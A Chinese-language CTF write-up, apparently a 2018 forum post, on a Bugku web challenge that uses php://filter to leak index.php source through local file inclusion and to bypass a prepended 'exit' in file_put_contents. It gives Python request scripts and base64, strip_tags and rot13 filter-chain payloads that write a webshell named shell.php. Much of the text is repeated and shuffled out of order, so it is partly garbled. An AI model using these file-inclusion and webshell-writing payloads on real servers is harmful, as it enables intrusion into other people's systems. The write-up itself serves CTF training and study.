-
-
[原创]BugkuCTF-WEB-flag在index里(附php://filter的一些用法)
-
发表于: 2018-11-19 11:02 5619
-
这里的$content在开头增加了exit,使得我们即使可以成功写入一句话,也无法执行。
我们通过php://filter巧妙绕过这里的限制
1.对我们想要写入的一句话进行base64encode
那么<?php exit ;?>这一部分在经过解码后,php不对其解析,而我们想要写入的一句话正好被成功解码。因此得以成功上传webshell
在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。
“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>
php://filter之前最常出镜的地方是XXE。由于XXE漏洞的特殊性,我们在读取HTML、PHP等文件时可能会抛出此类错误parser error : StartTag: invalid element name。其原因是,PHP是基于标签的脚本语言,<?php ... ?>这个语法也与XML相符合,所以在解析XML的时候会被误认为是XML,而其中内容(比如特殊字符)又有可能和标准XML冲突,所以导致了出错。
那么,为了读取包含有敏感信息的PHP等源文件,我们就要先将“可能引发冲突的PHP代码”编码一遍,这里就会用到php://filter。
php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。比如,我们可以用如下一行代码将POST内容转换成base64编码并输出:
参考:https://www.leavesongs.com/PENETRATION/php-filter-magic.html
file=show.php
file=show.php
<html> <title>Bugku-ctf</title> <?php error_reporting(0); if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';} $file=$_GET['file']; if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ echo "Oh no!"; exit(); } include($file); //flag:flag{edulcni_elif_lacol_si_siht} ?> </html>
<html> <title>Bugku-ctf</title> <?php error_reporting(0); if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';} $file=$_GET['file']; if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ echo "Oh no!"; exit(); } include($file); //flag:flag{edulcni_elif_lacol_si_siht} ?> </html>
http://www.php.net/manual/zh/wrappers.php.php
http://www.php.net/manual/zh/wrappers.php.php
- 对于转换过滤器的一些介绍
http://php.net/manual/zh/filters.convert.php
http://php.net/manual/zh/filters.convert.php
php://filter/read=convert.base64-encode/resource=index.php
<?php $content = '<?php exit; ?>'; $content .= $_POST['txt']; file_put_contents($_POST['filename'], $content); ?>
这里的$content在开头增加了exit,使得我们即使可以成功写入一句话,也无法执行。
我们通过php://filter巧妙绕过这里的限制
1.对我们想要写入的一句话进行base64encode
<?php $str1 = '<?php phpinfo ?>'; echo base64_encode($str1); ?>
PD9waHAgcGhwaW5mbyA/Pg==
<?php $str2 = '<?php exit ;?>'; echo base64_decode($str2); ?>
¦^Æ+
那么<?php exit ;?>这一部分在经过解码后,php不对其解析,而我们想要写入的一句话正好被成功解码。因此得以成功上传webshell
import requests url = 'http://127.0.0.1/text.php' d = {'txt': 'aPD9waHAgcGhwaW5mbygpOyA/Pg==', 'filename': 'php://filter/write=convert.base64-decode/resource=shell.php'} r = requests.post(url, data=d) print r.text
在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。
“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>
- XXE中的使用
php://filter之前最常出镜的地方是XXE。由于XXE漏洞的特殊性,我们在读取HTML、PHP等文件时可能会抛出此类错误parser error : StartTag: invalid element name。其原因是,PHP是基于标签的脚本语言,<?php ... ?>这个语法也与XML相符合,所以在解析XML的时候会被误认为是XML,而其中内容(比如特殊字符)又有可能和标准XML冲突,所以导致了出错。
那么,为了读取包含有敏感信息的PHP等源文件,我们就要先将“可能引发冲突的PHP代码”编码一遍,这里就会用到php://filter。
php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。比如,我们可以用如下一行代码将POST内容转换成base64编码并输出:
readfile("php://filter/read=convert.base64-encode/resource=php://input")
-
利用字符串操作方法(前提不开启短标签)
php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
import requests url = 'http://127.0.0.1/text.php' d = {'txt': 'PD9waHAgcGhwaW5mbygpOyA/Pg==', 'filename': 'php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php'} r = requests.post(url, data=d) print r.text
php://filter/write=string.rot13/resource=shell.php
<?php echo str_rot13("phpinfo();"); echo "<br>"; echo str_rot13("cucvasb();"); ?>
import requests url = 'http://127.0.0.1/text.php' d = {'txt': '<?cuc cucvasb(); ?>', 'filename': 'php://filter/write=string.rot13/resource=shell.php'} r = requests.post(url, data=d) print r.text
参考:https://www.leavesongs.com/PENETRATION/php-filter-magic.html
<?php $content = '<?php exit; ?>'; $content .= $_POST['txt']; file_put_contents($_POST['filename'], $content); ?>
<?php $str1 = '<?php phpinfo ?>'; echo base64_encode($str1); ?>
PD9waHAgcGhwaW5mbyA/Pg==
PD9waHAgcGhwaW5mbyA/Pg==
<?php $str2 = '<?php exit ;?>'; echo base64_decode($str2); ?>
¦^Æ+
<?php $str2 = '<?php exit ;?>'; echo base64_decode($str2); ?>
¦^Æ+
¦^Æ+
import requests url = 'http://127.0.0.1/text.php' d = {'txt': 'aPD9waHAgcGhwaW5mbygpOyA/Pg==', 'filename': 'php://filter/write=convert.base64-decode/resource=shell.php'} r = requests.post(url, data=d) print r.text
在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。
“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)